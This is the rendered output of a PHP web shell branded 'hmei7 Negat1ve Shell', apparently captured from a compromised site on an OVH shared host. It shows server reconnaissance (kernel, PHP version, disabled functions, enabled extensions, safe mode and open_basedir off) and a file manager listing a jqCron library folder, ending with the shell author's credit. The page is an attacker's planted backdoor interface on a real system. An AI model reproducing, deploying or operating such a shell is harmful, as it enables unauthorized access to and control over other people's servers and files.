hmei7 Negat1ve Shell
Server Information
Operating System : Linux webm107.cluster028.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_
PHP Version : 8.2.21
Storage : Total = 33.78 TB, Free = 12.82 TB [37%]
Disable Functions : _dyuweyrj4,_dyuweyrj4r,dl
CURL : ON | SSH2 : ON | Magic Quotes : OFF | MySQL : ON | MSSQL : OFF | PostgreSQL : ON | Oracle : OFF
Safe Mode : OFF | Open Basedir : NONE | Safe Mode Exec Dir : NONE | Safe Mode Include Dir : NONE
Path
[ 0755 >> drwxr-xr-x ]
Files Manager
Name Type Size Last Modified Owner/Group Permission Action
. dir -- 2025-03-28 10:56:25 mobisho/users 0755 >> drwxr-xr-x
.. dir -- 2025-03-28 10:56:25 mobisho/users 0755 >> drwxr-xr-x
LICENSE text/plain 1.04 KB 2025-02-17 01:17:52 mobisho/users 0644 >> -rw-r--r--
jqCron.bg.js text/plain 1.61 KB 2025-02-17 01:17:52 mobisho/users 0644 >> -rw-r--r--
jqCron.cn.js text/plain 1.1 KB 2025-02-17 01:17:52 mobisho/users 0644 >> -rw-r--r--
jqCron.css text/plain 2.45 KB 2025-02-17 01:17:52 mobisho/users 0644 >> -rw-r--r--
jqCron.de.js text/plain 1.02 KB 2025-02-17 01:17:52 mobisho/users 0644 >> -rw-r--r--
jqCron.en.js text/plain 1.19 KB 2025-02-17 01:17:52 mobisho/users 0644 >> -rw-r--r--
jqCron.fr.js text/plain 1022 B 2025-02-17 01:17:52 mobisho/users 0644 >> -rw-r--r--
jqCron.ja.js text/plain 1.06 KB 2025-02-17 01:17:52 mobisho/users 0644 >> -rw-r--r--
jqCron.js text/plain 22.85 KB 2025-02-17 01:17:52 mobisho/users 0644 >> -rw-r--r--
jqCron.pl.js text/plain 1.3 KB 2025-02-17 01:17:52 mobisho/users 0644 >> -rw-r--r--
Copyright negat1ve1337@gmail.com Coded by Negat1ve